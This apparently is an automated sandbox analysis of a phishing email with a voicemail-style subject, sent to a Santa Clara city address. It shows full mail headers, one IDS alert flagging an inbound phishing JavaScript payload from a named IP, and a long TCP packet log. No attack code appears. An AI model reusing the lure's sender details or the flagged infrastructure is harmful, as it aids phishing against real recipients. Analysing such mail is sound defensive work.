DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/simple; d=bellnet.ca; s=bellnet; t=1724857913; bh=MJ30w4BRP1Co0XcIqpffhF0OxI2ndtn1jUnyzGeh6Zg=; h=From:To:Subject:Date; b=HWG04/c20UyISAschhsv7com88P3l+GZNeISnGn9Bgnm9/UJ6JUYalOdSnfDwx7vw JjKhrk/Gf9aEY/jEip05ImwZeYQw3lxuAHwUdzFMygcWQM/d6DFO4XKL9j/4ua6Fku R6zR6x3pvgX8+lH5oORuesFNdWQnKTBIh6drW8Hza/EA8JLQXqQJq996A0f+CtH7p6 sVj8sWg/AA+0MZRtAeZegx261uuI3uOOaRc7wzDJyc92p433HNG4ne6BF/3w8cbZrg 8Kx90vm368H4UrU2J4njHDJ6DGW8GVeA8m0eDu/3WQgZmCbg2eh/cBFjLuJxnl+tNc qrWy4FCxAMElg==
X-Authority-Analysis	v=2.4 cv=EYhrQ+mC c=1 sm=1 tr=0 ts=66cf3e39 a=rrvzo6q/0jSbNKpsQ6YgOw==:117 a=rrvzo6q/0jSbNKpsQ6YgOw==:17 a=5KLPUuaC_9wA:10 a=M51BFTxLslgA:10 a=2mHTXMHQAAAA:8 a=eaNMSIh0aII95_Xp-j0A:9 a=QEXdDO2ut3YA:10 a=FYBbXJscaKcA:10 a=_h8tn4ejAAAA:20 a=u0oRn4jIapijMMGDbXQA:9 a=rgob5xKxVvuVZXLB:21 a=_W_S_7VecoQA:10 a=lqcHg5cX4UMA:10 a=NktkzaI-nC1aPZNZaW1E:22 a=tOc5Ju7r_uEwueYcu6Xa:22
Message-ID	<2e98b5679356af7754fa43e81cfec4ceffc57dd5@bellnet.ca>
From	"Cllr SID:RSOTYJKHHM" <cormackstation@bellnet.ca>
To	fchun <fchun@santaclaraca.gov>
Subject	VM(00:35) 11:11:48 AM D
Date	Wed, 28 Aug 2024 11:11:48 -0400
Content-Type	multipart/alternative; boundary="a10b433b1cd8f60d2e84eb50a57394fea4"
X-CMAE-Envelope	MS4xfMaAMxt2ipwZ/VhzgccV1IcumcSjsqHMD9sYTRvHdAHCpMGNj+ANH8l+uGeF5/xNcoeTl9aXl60RzofqnbbaEQQMMEh1GYd5GsuYnVJCr29lHRvT5qm/ evVRD1KTQu2mvGT8lNMu6LORxGCPhQOzxBBszvRq3dgTE/nJG4p94Udmw+XaMybUZUfFzy1RRW2gGCXYsqliP+XI5rD6A/n9qg4=
Return-Path	cormackstation@bellnet.ca
X-MS-Exchange-Organization-ExpirationStartTime	28 Aug 2024 15:11:54.0416 (UTC)
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
X-MS-Exchange-Organization-Network-Message-Id	d42eb09f-396a-4d88-f53a-08dcc773c040
X-EOPAttributedMessage	0
X-EOPTenantAttributedMessage	28ea3548-1069-4e81-aa0b-6e4b3271a5cb:0
X-MS-Exchange-Organization-MessageDirectionality	Incoming
X-MS-PublicTrafficType	Email
X-MS-TrafficTypeDiagnostic	BL02EPF0001B419:EE_\|SJ0PR09MB10337:EE_\|BY5PR09MB5266:EE_
X-MS-Exchange-Organization-AuthSource	BL02EPF0001B419.namprd09.prod.outlook.com
X-MS-Exchange-Organization-AuthAs	Anonymous
X-MS-Office365-Filtering-Correlation-Id	d42eb09f-396a-4d88-f53a-08dcc773c040
X-MS-Exchange-AtpMessageProperties	SA\|SL
X-MS-Exchange-Organization-SCL	1
X-Microsoft-Antispam	BCL:0;ARA:13230040\|7093399012;
X-Forefront-Antispam-Report	CIP:204.101.250.110;CTRY:CA;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:tor12vbusocmrk06.srvr.bell.ca;PTR:tor12vbusocmrk06.srvr.bell.ca;CAT:NONE;SFTY:9.25;SFS:(13230040)(7093399012);DIR:INB;SFTY:9.25;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	28 Aug 2024 15:11:53.9948 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id	d42eb09f-396a-4d88-f53a-08dcc773c040
X-MS-Exchange-CrossTenant-Id	28ea3548-1069-4e81-aa0b-6e4b3271a5cb
X-MS-Exchange-CrossTenant-AuthSource	BL02EPF0001B419.namprd09.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	Internet
X-MS-Exchange-Transport-CrossTenantHeadersStamped	SJ0PR09MB10337
X-MS-Exchange-Transport-EndToEndLatency	00:01:27.9988701
X-MS-Exchange-Processed-By-BccFoldering	15.20.7897.027
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003)(1420198);
X-Microsoft-Antispam-Message-Info	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
MIME-Version	1.0

File Icon


Icon Hash:	46070c0a8e0c67d6

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-28T22:20:49.036860+0200	TCP	2857090	ETPRO PHISHING JS/PsyduckPockeball Payload Inbound	1	443	49732	185.225.69.39	192.168.2.16

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 22:20:18.320275068 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 22:20:18.619947910 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 22:20:18.761286020 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:18.761322021 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:18.761415958 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:18.763151884 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:18.763166904 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.223074913 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 22:20:19.548903942 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.548993111 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.582453012 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.582473040 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.582823992 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.584156990 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.584196091 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.584232092 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.947534084 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.947556973 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.947623968 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.947648048 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.947674036 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.947688103 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.948025942 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.948044062 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:19.948180914 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.948210001 CEST	443	49702	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:19.948251963 CEST	49702	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.035816908 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.035856962 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:20.035950899 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.036194086 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.036207914 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:20.429964066 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 22:20:20.823410988 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:20.823612928 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.832622051 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.832640886 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:20.832926035 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:20.833492041 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.833550930 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:20.833566904 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:20.895118952 CEST	49689	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:21.197324991 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.197345018 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.197387934 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.197438002 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.197453976 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.197463989 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.197465897 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.197506905 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.198016882 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.198033094 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.198040962 CEST	49703	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.198045969 CEST	443	49703	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.281867027 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.281898975 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:21.281986952 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.282160997 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:21.282174110 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.149626017 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.150677919 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.150717974 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.151535034 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.151546001 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.151592016 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.151606083 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.498720884 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.498747110 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.498788118 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.498835087 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.498864889 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.498883009 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.499025106 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.499073982 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.499336958 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.499352932 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.499362946 CEST	49706	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.499367952 CEST	443	49706	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.544281006 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.544322968 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.544420958 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.544671059 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:22.544686079 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:22.840970039 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 22:20:23.358094931 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.358177900 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.362390995 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.362404108 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.362680912 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.363218069 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.363276005 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.363308907 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.610820055 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:23.610855103 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:23.610977888 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:23.612009048 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:23.612025976 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:23.745260954 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.745285988 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.745323896 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.745379925 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.745409012 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.745435953 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.745867014 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.745888948 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.745898962 CEST	49708	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.745904922 CEST	443	49708	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.797700882 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.797749043 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:23.797846079 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.798021078 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:23.798037052 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:24.379980087 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.380054951 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.381753922 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.381767988 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.382029057 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.425321102 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.444982052 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.492499113 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.498903990 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:24.498999119 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:24.499074936 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:24.500297070 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:24.500330925 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:24.598031044 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:24.598627090 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:24.598668098 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:24.601161957 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:24.601180077 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:24.601212978 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:24.601222992 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:24.696783066 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.696809053 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.696816921 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.696826935 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.696858883 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.696871996 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.696902037 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.696923971 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.696952105 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.697525024 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.697582006 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.697590113 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.697765112 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.697810888 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.708542109 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.708563089 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:24.708580017 CEST	49710	443	192.168.2.16	40.127.169.103
Aug 28, 2024 22:20:24.708586931 CEST	443	49710	40.127.169.103	192.168.2.16
Aug 28, 2024 22:20:25.014039040 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:25.014084101 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:25.014132023 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:25.014167070 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:25.014198065 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:25.014213085 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:25.014213085 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:25.014609098 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:25.014688969 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:25.014703989 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:25.014712095 CEST	49711	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:25.014715910 CEST	443	49711	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:25.141264915 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.141336918 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.142955065 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.142971992 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.143264055 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.181020975 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.228504896 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.431214094 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.431286097 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.431360006 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.431499958 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.431525946 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.431540966 CEST	49712	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.431546926 CEST	443	49712	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.470695972 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.470746040 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:25.470832109 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.471115112 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:25.471127987 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.118366003 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.118578911 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:26.119735003 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:26.119751930 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.119983912 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.121138096 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:26.164506912 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.396231890 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.396297932 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.396367073 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:26.397252083 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:26.397253036 CEST	49713	443	192.168.2.16	2.19.229.151
Aug 28, 2024 22:20:26.397269964 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.397278070 CEST	443	49713	2.19.229.151	192.168.2.16
Aug 28, 2024 22:20:26.487262011 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 22:20:26.791968107 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 22:20:27.396090984 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 22:20:27.470007896 CEST	49714	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:27.470045090 CEST	443	49714	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:27.470120907 CEST	49714	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:27.471288919 CEST	49714	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:27.471301079 CEST	443	49714	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:27.650966883 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 22:20:28.273984909 CEST	443	49714	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:28.274069071 CEST	49714	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:28.276185036 CEST	49714	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:28.276200056 CEST	443	49714	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:28.276428938 CEST	443	49714	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:28.317384005 CEST	49714	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:28.317440987 CEST	443	49714	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:28.317543030 CEST	49714	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:28.372045994 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:28.372090101 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:28.372200012 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:28.372391939 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:28.372407913 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:28.609992981 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 22:20:29.172044992 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.174362898 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.174387932 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.178987026 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.178987026 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.179003000 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.179049015 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.520884037 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.520906925 CEST	443	49715	40.126.32.68	192.168.2.16
